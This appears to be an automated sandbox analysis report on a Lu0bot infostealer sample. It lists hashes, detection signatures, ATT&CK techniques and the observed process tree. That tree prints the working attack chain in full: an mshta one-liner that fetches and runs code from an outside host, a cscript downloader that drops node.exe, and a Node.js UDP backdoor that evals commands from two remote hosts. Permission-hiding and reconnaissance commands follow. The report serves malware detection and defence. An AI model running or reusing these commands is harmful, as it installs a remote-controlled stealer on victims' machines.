lu0bot | b31bfcf253f43c08bdd92beb319b394c122400f4da864a47d5ac086e913ebffc

Analysis

max time kernel
150s
max time network
151s
platform
windows10_x64
resource
win10v20210408
submitted
28-07-2021 13:06

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General

Target

eufive_20210728-150311.exe
Size

3KB
MD5

fad837e4ca6d812d41eb543a9fd06e1f
SHA1

efb7c567194b1de7b8cadd5f42296858af1bcec0
SHA256

b31bfcf253f43c08bdd92beb319b394c122400f4da864a47d5ac086e913ebffc
SHA512

78deb668d77cd154301282029bbf0b696b81457fb747735c31661b730a5c5a7485f814e12f0fb8a5dd27bab04aac5c6f6d739225bfbc769910f7403a6a52c5eb

Score

10^/10

lu0bot discovery stealer suricata trojan

Malware Config

Signatures

Lu0bot
Lu0bot is a lightweight infostealer written in NodeJS.
trojan stealer lu0bot
suricata: ET MALWARE lu0bot Loader HTTP Request
suricata
suricata: ET MALWARE lu0bot Loader HTTP Response
suricata

Blocklisted process makes network request 2 IoCs

flow	pid	Process
11	2800	mshta.exe
12	644	cscript.exe

Executes dropped EXE 1 IoCs

pid	Process
504	node.exe

Modifies file permissions 1 TTPs 1 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
3852	icacls.exe

Drops file in Windows directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Logs\DPX\setupact.log	expand.exe
File opened for modification	C:\Windows\Logs\DPX\setuperr.log	expand.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	node.exe

Enumerates processes with tasklist 1 TTPs 1 IoCs

Process Discovery

T1057

pid	Process
2872	tasklist.exe

Gathers network information 2 TTPs 2 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command-Line Interface

T1059

pid	Process
3676	ipconfig.exe
188	netstat.exe

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
644	systeminfo.exe

NTFS ADS 2 IoCs

description	ioc	Process
File created	C:\ProgramData\DNTException\node.exe:366f6bc05772afe80aba882f6db64263	node.exe
File created	C:\Users\Admin\AppData\Local\Temp\4d78e009fb977dd4:ads	node.exe

Script User-Agent 2 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	11	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	12	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
504	node.exe
504	node.exe
504	node.exe
504	node.exe

Suspicious use of AdjustPrivilegeToken 44 IoCs

description	pid	Process
Token: SeDebugPrivilege	2872	tasklist.exe
Token: SeIncreaseQuotaPrivilege	3200	wmic.exe
Token: SeSecurityPrivilege	3200	wmic.exe
Token: SeTakeOwnershipPrivilege	3200	wmic.exe
Token: SeLoadDriverPrivilege	3200	wmic.exe
Token: SeSystemProfilePrivilege	3200	wmic.exe
Token: SeSystemtimePrivilege	3200	wmic.exe
Token: SeProfSingleProcessPrivilege	3200	wmic.exe
Token: SeIncBasePriorityPrivilege	3200	wmic.exe
Token: SeCreatePagefilePrivilege	3200	wmic.exe
Token: SeBackupPrivilege	3200	wmic.exe
Token: SeRestorePrivilege	3200	wmic.exe
Token: SeShutdownPrivilege	3200	wmic.exe
Token: SeDebugPrivilege	3200	wmic.exe
Token: SeSystemEnvironmentPrivilege	3200	wmic.exe
Token: SeRemoteShutdownPrivilege	3200	wmic.exe
Token: SeUndockPrivilege	3200	wmic.exe
Token: SeManageVolumePrivilege	3200	wmic.exe
Token: 33	3200	wmic.exe
Token: 34	3200	wmic.exe
Token: 35	3200	wmic.exe
Token: 36	3200	wmic.exe
Token: SeIncreaseQuotaPrivilege	3200	wmic.exe
Token: SeSecurityPrivilege	3200	wmic.exe
Token: SeTakeOwnershipPrivilege	3200	wmic.exe
Token: SeLoadDriverPrivilege	3200	wmic.exe
Token: SeSystemProfilePrivilege	3200	wmic.exe
Token: SeSystemtimePrivilege	3200	wmic.exe
Token: SeProfSingleProcessPrivilege	3200	wmic.exe
Token: SeIncBasePriorityPrivilege	3200	wmic.exe
Token: SeCreatePagefilePrivilege	3200	wmic.exe
Token: SeBackupPrivilege	3200	wmic.exe
Token: SeRestorePrivilege	3200	wmic.exe
Token: SeShutdownPrivilege	3200	wmic.exe
Token: SeDebugPrivilege	3200	wmic.exe
Token: SeSystemEnvironmentPrivilege	3200	wmic.exe
Token: SeRemoteShutdownPrivilege	3200	wmic.exe
Token: SeUndockPrivilege	3200	wmic.exe
Token: SeManageVolumePrivilege	3200	wmic.exe
Token: 33	3200	wmic.exe
Token: 34	3200	wmic.exe
Token: 35	3200	wmic.exe
Token: 36	3200	wmic.exe
Token: SeDebugPrivilege	188	netstat.exe

Suspicious use of WriteProcessMemory 51 IoCs

description	pid	Process	procid_target
PID 992 wrote to memory of 2800	992	eufive_20210728-150311.exe	72
PID 992 wrote to memory of 2800	992	eufive_20210728-150311.exe	72
PID 992 wrote to memory of 2800	992	eufive_20210728-150311.exe	72
PID 2800 wrote to memory of 2876	2800	mshta.exe	76
PID 2800 wrote to memory of 2876	2800	mshta.exe	76
PID 2800 wrote to memory of 2876	2800	mshta.exe	76
PID 2876 wrote to memory of 644	2876	cmd.exe	78
PID 2876 wrote to memory of 644	2876	cmd.exe	78
PID 2876 wrote to memory of 644	2876	cmd.exe	78
PID 2876 wrote to memory of 728	2876	cmd.exe	79
PID 2876 wrote to memory of 728	2876	cmd.exe	79
PID 2876 wrote to memory of 728	2876	cmd.exe	79
PID 2876 wrote to memory of 1280	2876	cmd.exe	80
PID 2876 wrote to memory of 1280	2876	cmd.exe	80
PID 2876 wrote to memory of 1280	2876	cmd.exe	80
PID 1280 wrote to memory of 504	1280	cscript.exe	81
PID 1280 wrote to memory of 504	1280	cscript.exe	81
PID 1280 wrote to memory of 504	1280	cscript.exe	81
PID 504 wrote to memory of 2412	504	node.exe	85
PID 504 wrote to memory of 2412	504	node.exe	85
PID 504 wrote to memory of 2412	504	node.exe	85
PID 504 wrote to memory of 2708	504	node.exe	86
PID 504 wrote to memory of 2708	504	node.exe	86
PID 504 wrote to memory of 2708	504	node.exe	86
PID 504 wrote to memory of 3852	504	node.exe	87
PID 504 wrote to memory of 3852	504	node.exe	87
PID 504 wrote to memory of 3852	504	node.exe	87
PID 504 wrote to memory of 3768	504	node.exe	88
PID 504 wrote to memory of 3768	504	node.exe	88
PID 504 wrote to memory of 3768	504	node.exe	88
PID 504 wrote to memory of 3164	504	node.exe	89
PID 504 wrote to memory of 3164	504	node.exe	89
PID 504 wrote to memory of 3164	504	node.exe	89
PID 504 wrote to memory of 2872	504	node.exe	91
PID 504 wrote to memory of 2872	504	node.exe	91
PID 504 wrote to memory of 2872	504	node.exe	91
PID 504 wrote to memory of 3200	504	node.exe	92
PID 504 wrote to memory of 3200	504	node.exe	92
PID 504 wrote to memory of 3200	504	node.exe	92
PID 504 wrote to memory of 3676	504	node.exe	93
PID 504 wrote to memory of 3676	504	node.exe	93
PID 504 wrote to memory of 3676	504	node.exe	93
PID 504 wrote to memory of 2460	504	node.exe	94
PID 504 wrote to memory of 2460	504	node.exe	94
PID 504 wrote to memory of 2460	504	node.exe	94
PID 504 wrote to memory of 188	504	node.exe	95
PID 504 wrote to memory of 188	504	node.exe	95
PID 504 wrote to memory of 188	504	node.exe	95
PID 504 wrote to memory of 644	504	node.exe	96
PID 504 wrote to memory of 644	504	node.exe	96
PID 504 wrote to memory of 644	504	node.exe	96

Views/modifies file attributes 1 TTPs 2 IoCs

evasion

Hidden Files and Directories

T1158

pid	Process
3768	attrib.exe
3164	attrib.exe

C:\Users\Admin\AppData\Local\Temp\eufive_20210728-150311.exe
"C:\Users\Admin\AppData\Local\Temp\eufive_20210728-150311.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:992
- C:\Windows\SysWOW64\mshta.exe
  mshta "javascript:document.write();139;y=unescape('%315%7Eh%74t%70%3A%2F%2F%61s%750%35%2E%66u%6E%2F%68r%69%2F%3F2%66e%32e%32b%7E1').split('~');45;try{x='WinHttp';246;x=new ActiveXObject(x+'.'+x+'Request.5.1');132;x.open('GET',y[1]+'&a='+escape(window.navigator.userAgent),!1);222;x.send();68;y='ipt.S';234;new ActiveXObject('WScr'+y+'hell').Run(unescape(unescape(x.responseText)),0,!2);208;}catch(e){};13;;window.close();"
  2⤵
  - Blocklisted process makes network request
  - Suspicious use of WriteProcessMemory
  PID:2800
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /d/s/c cd /d "C:\ProgramData" & mkdir "DNTException" & cd "DNTException" & dir /a node.exe || ( echo x=new ActiveXObject("WinHttp.WinHttpRequest.5.1"^);x.Open("GET",unescape(WScript.Arguments(0^)^),false^);x.Send(^);b=new ActiveXObject("ADODB.Stream"^);b.Type=1;b.Open(^);b.Write(x.ResponseBody^);b.SaveToFile(WScript.Arguments(1^),2^); > get1627477607648.txt & cscript /nologo /e:jscript get1627477607648.txt "http%3A%2F%2Fasu05.fun%2Fhri%2F%3F2603a8ebe%26b%3Dcd2ac0bc" node.cab & expand node.cab node.exe & del get1627477607648.txt node.cab ) & echo new ActiveXObject("WScript.Shell").Run(WScript.Arguments(0),0,false); > get1627477607648.txt & cscript /nologo /e:jscript get1627477607648.txt "node -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%27603a8ebe%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27asu05.fun%27);s.send(b,0,b.length,19584,%27lu0.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))" & del get1627477607648.txt
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2876
  - - C:\Windows\SysWOW64\cscript.exe
      cscript /nologo /e:jscript get1627477607648.txt "http%3A%2F%2Fasu05.fun%2Fhri%2F%3F2603a8ebe%26b%3Dcd2ac0bc" node.cab
      4⤵
      Blocklisted process makes network request
      PID:644
  - - C:\Windows\SysWOW64\expand.exe
      expand node.cab node.exe
      4⤵
      Drops file in Windows directory
      PID:728
  - - C:\Windows\SysWOW64\cscript.exe
      cscript /nologo /e:jscript get1627477607648.txt "node -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%27603a8ebe%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27asu05.fun%27);s.send(b,0,b.length,19584,%27lu0.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1280
    - - C:\ProgramData\DNTException\node.exe
        
        "C:\ProgramData\DNTException\node.exe" -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%27603a8ebe%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27asu05.fun%27);s.send(b,0,b.length,19584,%27lu0.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))
        5⤵
        Executes dropped EXE
        Checks processor information in registry
        NTFS ADS
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:504
      - C:\Windows\SysWOW64\cmd.exe
        
        cmd.exe /c dir C:\
        6⤵
        
        PID:2412
      - C:\Windows\SysWOW64\cacls.exe
        
        cacls.exe C:\ProgramData\DNTException /t /e /c /g Everyone:F
        6⤵
        
        PID:2708
      - C:\Windows\SysWOW64\icacls.exe
        
        icacls.exe C:\ProgramData\DNTException /t /c /grant *S-1-1-0:(f)
        6⤵
        Modifies file permissions
        
        PID:3852
      - C:\Windows\SysWOW64\attrib.exe
        
        attrib.exe +H C:\ProgramData\DNTException
        6⤵
        Views/modifies file attributes
        
        PID:3768
      - C:\Windows\SysWOW64\attrib.exe
        
        attrib.exe +H C:\ProgramData\DNTException\node.exe
        6⤵
        Views/modifies file attributes
        
        PID:3164
      - C:\Windows\SysWOW64\tasklist.exe
        
        tasklist /fo csv /nh
        6⤵
        Enumerates processes with tasklist
        Suspicious use of AdjustPrivilegeToken
        
        PID:2872
      - C:\Windows\SysWOW64\Wbem\wmic.exe
        
        wmic process get processid,parentprocessid,name,executablepath /format:csv
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:3200
      - C:\Windows\SysWOW64\ipconfig.exe
        
        ipconfig.exe /all
        6⤵
        Gathers network information
        
        PID:3676
      - C:\Windows\SysWOW64\route.exe
        
        route.exe print
        6⤵
        
        PID:2460
      - C:\Windows\SysWOW64\netstat.exe
        
        netstat.exe -ano
        6⤵
        Gathers network information
        Suspicious use of AdjustPrivilegeToken
        
        PID:188
      - C:\Windows\SysWOW64\systeminfo.exe
        
        systeminfo.exe /fo csv
        6⤵
        Gathers system information
        
        PID:644

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Command-Line Interface

T1059

Persistence

Hidden Files and Directories

T1158

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Hidden Files and Directories

T1158

Credential Access

Discovery

Process Discovery

T1057

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/504-128-0x000000002F600000-0x000000002F601000-memory.dmp

Filesize
4KB

Download
memory/504-125-0x000000002E400000-0x000000002E401000-memory.dmp

Filesize
4KB

Download
memory/504-126-0x000000001F200000-0x000000001F201000-memory.dmp

Filesize
4KB

Download
memory/504-127-0x000000000F700000-0x000000000F701000-memory.dmp

Filesize
4KB

Download
memory/504-129-0x0000000004500000-0x0000000004501000-memory.dmp

Filesize
4KB

Download
memory/504-130-0x0000000015D00000-0x0000000015D01000-memory.dmp

Filesize
4KB

Download